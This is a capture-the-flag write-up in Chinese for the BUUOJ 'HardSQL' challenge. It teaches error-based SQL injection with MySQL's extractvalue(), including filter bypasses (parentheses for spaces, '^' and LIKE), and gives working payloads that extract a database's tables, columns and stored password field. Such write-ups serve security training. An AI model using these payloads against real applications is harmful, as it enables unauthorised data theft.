[极客大挑战 2019]HardSQL
试题地址:http://94d112f4-9aed-4f3e-b2ff-0c98f30a81b9.node4.buuoj.cn/
-
先进行常规SQL注入:‘,’‘,order by,or and union
先进行简单测试,发现密码框可能存在SQL注入,然后进行以下测试,发现都是这个页面。
常规测试payload: //如下payload都是在密码框内测试
2' or '1'='1
2' or '1'='2
2' order by 3#
2' union select 1,2,3#
然后我们判断这道题是报错注入extractvalue()和updatexml()
这两个函数讲解参考以下链接:
https://cloud.tencent.com/developer/article/1740429
我们这个题用的是extractvalue,我就简单的介绍一下这个函数。
extractvalue()
语法:extractvalue(目标xml文档,xml路径)
第一个参数:第一个参数可以传入目标XML文档
第二个参数:xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/xxx...这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
如果正常查询的话 第二个参数的位置格式为/xxx/xxx/xxx...,即使查询不到也不会报错
tips:要注意的是,它能够查询的字符串长度最大是32个字符,如果超过32位,就需要用函数来查询:
比如left(),right(),substr()来截取字符串
举个例子:
select extractvalue('<a><b></b></a>','/a/b'); 这个语句就是寻找前面一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误,就会报错,这里就是利用这个特性来获得我们想要知道的内容。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出
百度了web 的骚操作
用’^'来连接函数,形成异或
这边用的是extractvalue()
我们在测试的时候发现这题目还过滤了空格,百度了解了一下用括号来代替空格就能绕过了
我们先构造payload爆数据库名:geek
2'^extractvalue(1,concat(0x5c,(select(database()))))#
然后构造payload爆该数据库的表:
2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))))#
我们用这个payload发现出来的页面还是这个:
猜测应该是=也被过滤了,然后百度了解了一下可以用like代替=,我们修改一下payload:
2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
发现爆出表:H4rDsq1
然后我们构造paylaod爆出表的列:id,username,password
2'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
我们查看一下每个列里面的内容:
发现id里面只有一个1,username里面有/flag,而password里面有flag值,这里只演示获取password列里面的内容:
构造payload:
2'^extractvalue(1,concat(0x5c,(select(password)from(geek.H4rDsq1))))#
然后我们发现只有一般的flag,看上面tips,所以我们用left(),right()个查看一次构造完整的flag
2'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))#
2'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))#
最后两边对比去除多余的得出flag!!